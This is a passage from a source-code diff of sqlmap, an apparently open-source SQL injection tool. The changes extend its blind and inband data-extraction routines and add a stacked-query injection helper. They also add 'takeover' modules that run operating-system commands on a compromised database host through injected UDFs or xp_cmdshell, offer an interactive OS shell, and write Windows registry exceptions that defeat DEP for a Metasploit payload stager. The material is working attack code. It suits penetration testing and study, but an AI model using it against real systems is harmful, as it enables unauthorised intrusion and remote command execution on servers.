the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -38,7 +38,6 @@ from lib.core.data import conf
|
|||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.settings import RETRIES
|
||||
from lib.request.basic import forgeHeaders
|
||||
from lib.request.basic import parseResponse
|
||||
from lib.request.comparison import comparison
|
||||
|
|
@ -72,6 +71,7 @@ class Connect:
|
|||
ua = kwargs.get('ua', None)
|
||||
direct = kwargs.get('direct', False)
|
||||
multipart = kwargs.get('multipart', False)
|
||||
silent = kwargs.get('silent', False)
|
||||
|
||||
page = ""
|
||||
cookieStr = ""
|
||||
|
|
@ -128,7 +128,7 @@ class Connect:
|
|||
conn = urllib2.urlopen(req)
|
||||
|
||||
# Reset the number of connection retries
|
||||
conf.retries = 0
|
||||
conf.retriesCount = 0
|
||||
|
||||
if not req.has_header("Accept-Encoding"):
|
||||
requestHeaders += "\nAccept-Encoding: identity"
|
||||
|
|
@ -199,8 +199,11 @@ class Connect:
|
|||
|
||||
return None, None
|
||||
|
||||
if conf.retries < RETRIES:
|
||||
conf.retries += 1
|
||||
if silent == True:
|
||||
return None, None
|
||||
|
||||
elif conf.retriesCount < conf.retries:
|
||||
conf.retriesCount += 1
|
||||
|
||||
warnMsg += ", sqlmap is going to retry the request"
|
||||
logger.warn(warnMsg)
|
||||
|
|
@ -226,7 +229,7 @@ class Connect:
|
|||
|
||||
|
||||
@staticmethod
|
||||
def queryPage(value=None, place=None, content=False, getSeqMatcher=False):
|
||||
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
|
||||
"""
|
||||
This method calls a function to get the target url page content
|
||||
and returns its page MD5 hash or a boolean value in case of
|
||||
|
|
@ -265,7 +268,7 @@ class Connect:
|
|||
else:
|
||||
ua = conf.parameters["User-Agent"]
|
||||
|
||||
page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
|
||||
page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua, silent=silent)
|
||||
|
||||
if content:
|
||||
return page, headers
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -39,7 +39,6 @@ from lib.core.data import kb
|
|||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.settings import SECONDS
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.use import unionUse
|
||||
from lib.techniques.blind.inference import bisection
|
||||
|
|
@ -47,7 +46,7 @@ from lib.utils.resume import queryOutputLength
|
|||
from lib.utils.resume import resume
|
||||
|
||||
|
||||
def __goInference(payload, expression):
|
||||
def __goInference(payload, expression, charsetType=None):
|
||||
start = time.time()
|
||||
|
||||
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
||||
|
|
@ -57,20 +56,20 @@ def __goInference(payload, expression):
|
|||
|
||||
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
|
||||
|
||||
count, value = bisection(payload, expression, length=length)
|
||||
count, value = bisection(payload, expression, length, charsetType)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
if conf.eta and length:
|
||||
infoMsg = "retrieved: %s" % value
|
||||
logger.info(infoMsg)
|
||||
|
||||
infoMsg = "performed %d queries in %d seconds" % (count, duration)
|
||||
logger.info(infoMsg)
|
||||
debugMsg = "performed %d queries in %d seconds" % (count, duration)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None):
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None):
|
||||
outputs = []
|
||||
origExpr = None
|
||||
|
||||
|
|
@ -89,7 +88,8 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
|||
else:
|
||||
expressionReplaced = expression.replace(expressionFields, field, 1)
|
||||
|
||||
output = resume(expressionReplaced, payload)
|
||||
if resumeValue == True:
|
||||
output = resume(expressionReplaced, payload)
|
||||
|
||||
if not output or ( expected == "int" and not output.isdigit() ):
|
||||
if output:
|
||||
|
|
@ -97,7 +97,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
|||
warnMsg += "sqlmap is going to retrieve the value again"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
output = __goInference(payload, expressionReplaced)
|
||||
output = __goInference(payload, expressionReplaced, charsetType)
|
||||
|
||||
if isinstance(num, int):
|
||||
expression = origExpr
|
||||
|
|
@ -107,7 +107,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
|||
return outputs
|
||||
|
||||
|
||||
def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None):
|
||||
"""
|
||||
Retrieve the output of a SQL query characted by character taking
|
||||
advantage of an blind SQL injection vulnerability on the affected
|
||||
|
|
@ -125,13 +125,19 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||
untilLimitChar = None
|
||||
untilOrderChar = None
|
||||
|
||||
output = resume(expression, payload)
|
||||
if resumeValue == True:
|
||||
output = resume(expression, payload)
|
||||
else:
|
||||
output = None
|
||||
|
||||
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
|
||||
return output
|
||||
|
||||
if unpack == False:
|
||||
return __goInference(payload, expression, charsetType)
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
||||
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
||||
|
||||
if len(expressionFieldsList) > 1:
|
||||
infoMsg = "the SQL query provided has more than a field. "
|
||||
|
|
@ -200,6 +206,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||
if not stopLimit or stopLimit <= 1:
|
||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||
test = "n"
|
||||
elif batch == True:
|
||||
test = "y"
|
||||
else:
|
||||
message = "can the SQL query provided return "
|
||||
message += "multiple entries? [Y/n] "
|
||||
|
|
@ -214,54 +222,58 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||
countedExpression = countedExpression[:untilOrderChar]
|
||||
|
||||
count = resume(countedExpression, payload)
|
||||
if resumeValue == True:
|
||||
count = resume(countedExpression, payload)
|
||||
|
||||
if not stopLimit:
|
||||
if not count or not count.isdigit():
|
||||
count = __goInference(payload, countedExpression)
|
||||
count = __goInference(payload, countedExpression, charsetType)
|
||||
|
||||
if count and count.isdigit() and int(count) > 0:
|
||||
count = int(count)
|
||||
|
||||
message = "the SQL query provided can return "
|
||||
message += "up to %d entries. How many " % count
|
||||
message += "entries do you want to retrieve?\n"
|
||||
message += "[a] All (default)\n[#] Specific number\n"
|
||||
message += "[q] Quit\nChoice: "
|
||||
test = readInput(message, default="a")
|
||||
|
||||
if not test or test[0] in ("a", "A"):
|
||||
if batch == True:
|
||||
stopLimit = count
|
||||
else:
|
||||
message = "the SQL query provided can return "
|
||||
message += "up to %d entries. How many " % count
|
||||
message += "entries do you want to retrieve?\n"
|
||||
message += "[a] All (default)\n[#] Specific number\n"
|
||||
message += "[q] Quit"
|
||||
test = readInput(message, default="a")
|
||||
|
||||
elif test[0] in ("q", "Q"):
|
||||
return "Quit"
|
||||
if not test or test[0] in ("a", "A"):
|
||||
stopLimit = count
|
||||
|
||||
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
||||
stopLimit = int(test)
|
||||
elif test[0] in ("q", "Q"):
|
||||
return "Quit"
|
||||
|
||||
infoMsg = "sqlmap is now going to retrieve the "
|
||||
infoMsg += "first %d query output entries" % stopLimit
|
||||
logger.info(infoMsg)
|
||||
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
||||
stopLimit = int(test)
|
||||
|
||||
elif test[0] in ("#", "s", "S"):
|
||||
message = "How many? "
|
||||
stopLimit = readInput(message, default="10")
|
||||
infoMsg = "sqlmap is now going to retrieve the "
|
||||
infoMsg += "first %d query output entries" % stopLimit
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not stopLimit.isdigit():
|
||||
elif test[0] in ("#", "s", "S"):
|
||||
message = "How many? "
|
||||
stopLimit = readInput(message, default="10")
|
||||
|
||||
if not stopLimit.isdigit():
|
||||
errMsg = "Invalid choice"
|
||||
logger.error(errMsg)
|
||||
|
||||
return None
|
||||
|
||||
else:
|
||||
stopLimit = int(stopLimit)
|
||||
|
||||
else:
|
||||
errMsg = "Invalid choice"
|
||||
logger.error(errMsg)
|
||||
|
||||
return None
|
||||
|
||||
else:
|
||||
stopLimit = int(stopLimit)
|
||||
|
||||
else:
|
||||
errMsg = "Invalid choice"
|
||||
logger.error(errMsg)
|
||||
|
||||
return None
|
||||
|
||||
elif count and not count.isdigit():
|
||||
warnMsg = "it was not possible to count the number "
|
||||
warnMsg += "of entries for the SQL query provided. "
|
||||
|
|
@ -286,7 +298,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||
return None
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num)
|
||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType)
|
||||
outputs.append(output)
|
||||
|
||||
return outputs
|
||||
|
|
@ -294,17 +306,17 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
|
||||
expression = "%s FROM DUAL" % expression
|
||||
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType)
|
||||
|
||||
returnValue = ", ".join([output for output in outputs])
|
||||
|
||||
else:
|
||||
returnValue = __goInference(payload, expression)
|
||||
returnValue = __goInference(payload, expression, charsetType)
|
||||
|
||||
return returnValue
|
||||
|
||||
|
||||
def __goInband(expression, expected=None):
|
||||
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
|
||||
"""
|
||||
Retrieve the output of a SQL query taking advantage of an inband SQL
|
||||
injection vulnerability on the affected parameter.
|
||||
|
|
@ -319,22 +331,22 @@ def __goInband(expression, expected=None):
|
|||
and expression in kb.resumedQueries[conf.url].keys()
|
||||
)
|
||||
|
||||
if condition:
|
||||
if condition and resumeValue == True:
|
||||
output = resume(expression, None)
|
||||
|
||||
if not output or ( expected == "int" and not output.isdigit() ):
|
||||
partial = True
|
||||
|
||||
if not output:
|
||||
output = unionUse(expression, resetCounter=True)
|
||||
output = unionUse(expression, resetCounter=True, unpack=unpack)
|
||||
|
||||
if output:
|
||||
data = parseUnionPage(output, expression, partial, condition)
|
||||
data = parseUnionPage(output, expression, partial, condition, sort)
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
|
||||
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None):
|
||||
"""
|
||||
Called each time sqlmap inject a SQL query on the SQL injection
|
||||
affected parameter. It can call a function to retrieve the output
|
||||
|
|
@ -346,11 +358,11 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
|
|||
expression = expandAsteriskForColumns(expression)
|
||||
value = None
|
||||
|
||||
if inband and conf.unionUse and kb.dbms:
|
||||
if inband and kb.unionPosition:
|
||||
if kb.dbms == "Oracle" and " ORDER BY " in expression:
|
||||
expression = expression[:expression.index(" ORDER BY ")]
|
||||
|
||||
value = __goInband(expression, expected)
|
||||
value = __goInband(expression, expected, sort, resumeValue, unpack)
|
||||
|
||||
if not value:
|
||||
warnMsg = "for some reasons it was not possible to retrieve "
|
||||
|
|
@ -358,25 +370,30 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
|
|||
warnMsg += "technique, sqlmap is going blind"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.paramNegative = False
|
||||
oldParamFalseCond = conf.paramFalseCond
|
||||
oldParamNegative = conf.paramNegative
|
||||
conf.paramFalseCond = False
|
||||
conf.paramNegative = False
|
||||
|
||||
if blind and not value:
|
||||
value = __goInferenceProxy(expression, fromUser, expected)
|
||||
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType)
|
||||
|
||||
conf.paramFalseCond = oldParamFalseCond
|
||||
conf.paramNegative = oldParamNegative
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def goStacked(expression):
|
||||
"""
|
||||
TODO: write description
|
||||
"""
|
||||
|
||||
def goStacked(expression, silent=False):
|
||||
expression = cleanQuery(expression)
|
||||
|
||||
debugMsg = "query: %s" % expression
|
||||
logger.debug(debugMsg)
|
||||
|
||||
comment = queries[kb.dbms].comment
|
||||
query = agent.prefixQuery("; %s" % expression)
|
||||
query = agent.postfixQuery("%s;%s" % (query, comment))
|
||||
payload = agent.payload(newValue=query)
|
||||
page, _ = Request.queryPage(payload, content=True)
|
||||
page, _ = Request.queryPage(payload, content=True, silent=silent)
|
||||
|
||||
return payload, page
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
25
lib/takeover/__init__.py
Normal file
25
lib/takeover/__init__.py
Normal file
|
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
171
lib/takeover/abstraction.py
Normal file
171
lib/takeover/abstraction.py
Normal file
|
|
@ -0,0 +1,171 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.takeover.udf import UDF
|
||||
from lib.takeover.xp_cmdshell import xp_cmdshell
|
||||
|
||||
|
||||
class Abstraction(UDF, xp_cmdshell):
|
||||
"""
|
||||
This class defines an abstraction layer for OS takeover functionalities
|
||||
to UDF / xp_cmdshell objects
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.envInitialized = False
|
||||
|
||||
UDF.__init__(self)
|
||||
xp_cmdshell.__init__(self)
|
||||
|
||||
|
||||
def execCmd(self, cmd, silent=False, forgeCmd=False):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.udfExecCmd(cmd, silent)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def evalCmd(self, cmd):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
return self.udfEvalCmd(cmd)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
return self.xpCmdshellEvalCmd(cmd)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def runCmd(self, cmd):
|
||||
getOutput = None
|
||||
|
||||
message = "do you want to retrieve the command standard "
|
||||
message += "output? [Y/n] "
|
||||
getOutput = readInput(message, default="Y")
|
||||
|
||||
if not getOutput or getOutput in ("y", "Y"):
|
||||
output = self.evalCmd(cmd)
|
||||
|
||||
if output:
|
||||
dumper.string("command standard output", output)
|
||||
else:
|
||||
print "No output"
|
||||
else:
|
||||
self.execCmd(cmd, forgeCmd=True)
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
def absOsShell(self):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
infoMsg = "going to use injected sys_eval and sys_exec "
|
||||
infoMsg += "user-defined functions for operating system "
|
||||
infoMsg += "command execution"
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
infoMsg = "going to use xp_cmdshell extended procedure for "
|
||||
infoMsg += "operating system command execution"
|
||||
logger.info(infoMsg)
|
||||
|
||||
else:
|
||||
errMsg = "feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
infoMsg = "calling %s OS shell. To quit type " % kb.os or "Windows"
|
||||
infoMsg += "'x' or 'q' and press ENTER"
|
||||
logger.info(infoMsg)
|
||||
|
||||
autoCompletion(osShell=True)
|
||||
|
||||
while True:
|
||||
command = None
|
||||
|
||||
try:
|
||||
command = raw_input("os-shell> ")
|
||||
except KeyboardInterrupt:
|
||||
print
|
||||
errMsg = "user aborted"
|
||||
logger.error(errMsg)
|
||||
except EOFError:
|
||||
print
|
||||
errMsg = "exit"
|
||||
logger.error(errMsg)
|
||||
break
|
||||
|
||||
if not command:
|
||||
continue
|
||||
|
||||
if command.lower() in ( "x", "q", "exit", "quit" ):
|
||||
break
|
||||
|
||||
self.runCmd(command)
|
||||
|
||||
if not conf.cleanup:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.cleanup()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def initEnv(self, mandatory=True, detailed=False):
|
||||
if self.envInitialized == True:
|
||||
return
|
||||
|
||||
self.checkDbmsOs(detailed)
|
||||
|
||||
if self.isDba() == False:
|
||||
warnMsg = "the functionality requested might not work because "
|
||||
warnMsg += "the session user is not a database administrator"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.udfInit()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.xpCmdshellInit(mandatory)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
176
lib/takeover/dep.py
Normal file
176
lib/takeover/dep.py
Normal file
|
|
@ -0,0 +1,176 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.session import setDEP
|
||||
|
||||
|
||||
class DEP:
|
||||
"""
|
||||
This class defines methods to handle DEP (Data Execution Prevention)
|
||||
|
||||
The following operating systems has DEP enabled by default:
|
||||
* Windows XP SP2+
|
||||
* Windows Server 2003 SP1+
|
||||
* Windows Vista SP0+
|
||||
* Windows 2008 SP0+
|
||||
|
||||
References:
|
||||
* http://support.microsoft.com/kb/875352
|
||||
* http://en.wikipedia.org/wiki/Data_Execution_Prevention
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.bypassDEP = False
|
||||
self.__supportDEP = False
|
||||
|
||||
|
||||
def __initVars(self, exe):
|
||||
self.__DEPvalues = {
|
||||
"OPTIN": "only Windows system binaries are covered by DEP by default",
|
||||
"OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed",
|
||||
"ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway",
|
||||
"ALWAYSOFF": "no DEP coverage for any part of the system"
|
||||
}
|
||||
self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
|
||||
self.__excRegValue = exe
|
||||
self.__excRegValue = self.__excRegValue.replace("/", "\\")
|
||||
|
||||
|
||||
def __addException(self):
|
||||
infoMsg = "adding an exception to DEP in the Windows registry "
|
||||
infoMsg += "for '%s' executable" % self.__excRegValue
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.dbms == "PostgreSQL":
|
||||
warnMsg = "by default PostgreSQL server runs as postgres "
|
||||
warnMsg += "user which has no privileges to add/delete "
|
||||
warnMsg += "Windows registry keys, sqlmap will give it a try "
|
||||
warnMsg += "anyway"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI")
|
||||
|
||||
|
||||
def delException(self):
|
||||
if self.bypassDEP == False:
|
||||
return
|
||||
|
||||
infoMsg = "deleting the exception to DEP in the Windows registry "
|
||||
infoMsg += "for Metasploit Framework 3 payload stager"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.delRegKey(self.__excRegKey, self.__excRegValue)
|
||||
|
||||
|
||||
def __analyzeDEP(self):
|
||||
detectedValue = False
|
||||
|
||||
for value, explanation in self.__DEPvalues.items():
|
||||
if value in kb.dep:
|
||||
detectedValue = True
|
||||
|
||||
if value in ( "OPTIN", "ALWAYSOFF" ):
|
||||
logger.info(explanation)
|
||||
|
||||
self.bypassDEP = False
|
||||
|
||||
elif value == "OPTOUT":
|
||||
logger.info(explanation)
|
||||
|
||||
self.bypassDEP = True
|
||||
self.__addException()
|
||||
|
||||
elif value == "ALWAYSON":
|
||||
logger.warn(explanation)
|
||||
|
||||
self.bypassDEP = True
|
||||
self.__addException()
|
||||
|
||||
if detectedValue == False:
|
||||
warnMsg = "it was not possible to detect the DEP system "
|
||||
warnMsg += "policy, sqlmap will threat as if "
|
||||
warnMsg += "%s" % self.__DEPvalues["OPTOUT"]
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.__addException()
|
||||
|
||||
|
||||
def __systemHasDepSupport(self):
|
||||
depEnabledOS = {
|
||||
"2003": ( 1, 2 ),
|
||||
"2008": ( 0, 1 ),
|
||||
"XP": ( 2, 3 ),
|
||||
"Vista": ( 0, 1 ),
|
||||
}
|
||||
|
||||
for version, sps in depEnabledOS.items():
|
||||
if kb.osVersion == version and kb.osSP in sps:
|
||||
self.__supportDEP = True
|
||||
break
|
||||
|
||||
|
||||
def handleDep(self, exe):
|
||||
logger.info("handling DEP")
|
||||
|
||||
self.__systemHasDepSupport()
|
||||
|
||||
if self.__supportDEP == True:
|
||||
infoMsg = "the back-end DBMS underlying operating system "
|
||||
infoMsg += "supports DEP: going to handle it"
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif not kb.osVersion or not kb.osSP:
|
||||
warnMsg = "unable to fingerprint the back-end DBMS "
|
||||
warnMsg += "underlying operating system version and service "
|
||||
warnMsg += "pack: going to threat as if DEP is enabled"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.bypassDEP = True
|
||||
|
||||
else:
|
||||
infoMsg = "the back-end DBMS underlying operating system "
|
||||
infoMsg += "does not support DEP: no need to handle it"
|
||||
logger.info(infoMsg)
|
||||
|
||||
return
|
||||
|
||||
logger.info("checking DEP system policy")
|
||||
|
||||
self.__initVars(exe)
|
||||
|
||||
if not kb.dep:
|
||||
kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper()
|
||||
setDEP()
|
||||
|
||||
self.__analyzeDEP()
|
||||
666
lib/takeover/metasploit.py
Normal file
666
lib/takeover/metasploit.py
Normal file
|
|
@ -0,0 +1,666 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import binascii
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
import sys
|
||||
import time
|
||||
|
||||
from select import select
|
||||
from subprocess import PIPE
|
||||
from subprocess import Popen as execute
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getLocalIP
|
||||
from lib.core.common import getRemoteIP
|
||||
from lib.core.common import pollProcess
|
||||
from lib.core.common import randomRange
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapDataException
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.subprocessng import blockingReadFromFD
|
||||
from lib.core.subprocessng import blockingWriteToFD
|
||||
from lib.core.subprocessng import setNonBlocking
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.takeover.upx import upx
|
||||
|
||||
|
||||
class Metasploit:
|
||||
"""
|
||||
This class defines methods to call Metasploit for plugins.
|
||||
"""
|
||||
|
||||
def __initVars(self):
|
||||
self.connectionStr = None
|
||||
self.rhostStr = None
|
||||
self.portStr = None
|
||||
self.payloadStr = None
|
||||
self.encoderStr = None
|
||||
|
